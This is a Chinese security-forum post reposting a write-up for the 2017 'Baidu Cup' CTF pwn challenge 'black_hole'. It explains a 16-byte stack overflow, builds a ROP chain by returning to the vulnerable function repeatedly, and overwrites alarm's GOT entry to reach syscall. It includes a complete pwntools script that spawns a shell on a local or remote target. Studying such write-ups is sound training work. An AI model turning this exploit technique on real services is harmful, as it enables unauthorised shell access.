安全矩阵

 找回密码
 立即注册
搜索
查看: 2723|回复: 0

“百度杯”CTF比赛 2017 二月场--black_hole

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
发表于 2020-3-31 15:21:13 | 显示全部楼层 |阅读模式
本帖最后由 Xor0ne 于 2020-3-31 15:36 编辑

black_hole




本题来自于:i春秋

题目内容:
nc 106.75.2.53 10001
第三位上古大神为test_for_pwn,此大神喜游历人间,最常说的一句话是
我为pwn而生,pwn却为众人而喜,妙哉妙哉
tips:该题只有一个红包,只有第一位解答该题的同学才能获得赛后我们的工作人员会私信亲的,加油
附件链接:


Writeup:

来自于:https://www.ichunqiu.com/writeup/detail/529

1、black_hole


Blog中有相应的内容,欢迎大家浏览,大佬轻喷。
IDA打开后很容易找到漏洞函数

  1. size_t sub_4006CC()
  2. {
  3.   char ptr; // [sp+0h] [bp-10h]@1
  4.   return fread(&ptr, 1uLL, 0x20uLL, stdin);
  5. }
复制代码

简单的栈溢出,问题在于每次溢出只能够溢出16个字节,恰好覆盖完rip


思路:

首先是我们需要重复利用漏洞向栈上写入数据进行ROP,所以要return to vul,多次利用漏洞向栈中每次写入8个字节,每次通过布置栈内数据覆盖ebp 8个字节。

然后控制eip返回vul function,相当于每次只能向栈内写入8个字节

由于栈是由高向低增长的,所以我们布置栈中的数据时,实际上是由高地址向低地址布置,所以需要反向写入。


  1. for i in xrange(len(payload), 0, -8):

  2.     print i

  3.     write_stack(payload[i - 8:i], time)
复制代码


由于泄露地址相对复杂,采用修改got表期望指向syscall的方式,选择alarm函数,通过它泄露出syscall地址。

通过read函数读入0x3b个字符,使得返回值eax=0x3b,使得syscall陷入时执行execve,并且将bin/sh与syscall写入bss段,最后调用执行。

至于gadgets,用libc\_init\_csu中的通用ropgets即可,很适合三参数的函数的构造。


#/usr/env/bin python

from pwn import *

import time

gadgets1 = 0x4007AA

gadgets2 = 0x400790

def hole(io,msg):

    sleep(0.5)

    io.send('2333'+'A'*(0x20-4))

    sleep(0.5)

    io.send('A'*0x10+msg+p64(0x400704))

def exploit():

    payload = []

    payload.append(p64(gadgets1))

    payload.append(p64(0))

    payload.append(p64(1))

    payload.append(p64(elf.got['read']))

    payload.append(p64(1))

    payload.append(p64(elf.got['alarm']))

    payload.append(p64(0))

    payload.append(p64(gadgets2))

    for i in range(7):

        payload.append(p64(0))

    payload.append(p64(gadgets1))

    payload.append(p64(0))

    payload.append(p64(1))

    payload.append(p64(elf.got['read']))

    payload.append(p64(0x3B))

    payload.append(p64(0x601070))

    payload.append(p64(0))   #rax=0x38

    payload.append(p64(gadgets2))

    payload.append(p64(0))

    payload.append(p64(0))

    payload.append(p64(1))

    payload.append(p64(0x601078))

    payload.append(p64(0))

    payload.append(p64(0))

    payload.append(p64(0x601070))

    payload.append(p64(gadgets2))

    #for char in xrange(0x45,0x46):

        #io = process('./black_hole')

        #io = remote('106.75.66.195',11003)

    i = len(payload)

    for msg in reversed(payload):

        log.info(i)

        i = i-1

        hole(io,str(msg))

   

    #raw_input('Go?')

    sleep(0.5)

    io.send('2333'+'A'*(0x20-4))

    sleep(0.5)

    #raw_input('Go?')

    io.send('A'*0x18+p64(0x4006CB))

    sleep(0.5)

    #raw_input('Go?')

    #log.info('Trying {0}'.format(str(char)))

    io.send(chr(0x45))

    #raw_input('Go?')

    content = "/bin/sh\x00"

    content += p64(elf.plt['alarm'])

    content = content.ljust(0x3b,'A')

    sleep(0.5)

    io.send(content)

    #io.sendline('ls')

    #try:

    io.interactive()

    #except:

    io.close()

    #else:

    #   continue

#def test():

#    exploit()

if __name__ == '__main__':

    context.binary = './black_hole'

    #context.log_level = 'debug'

    context.terminal = ['tmux','sp','-h']

    elf = ELF('./black_hole')

    #test()

    if len(sys.argv)>2:

        io = remote(sys.argv[1],sys.argv[2])

        exploit()

    else:

        io = process('./black_hole')

        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

        exploit()

结果:





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 03:38 , Processed in 0.012858 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表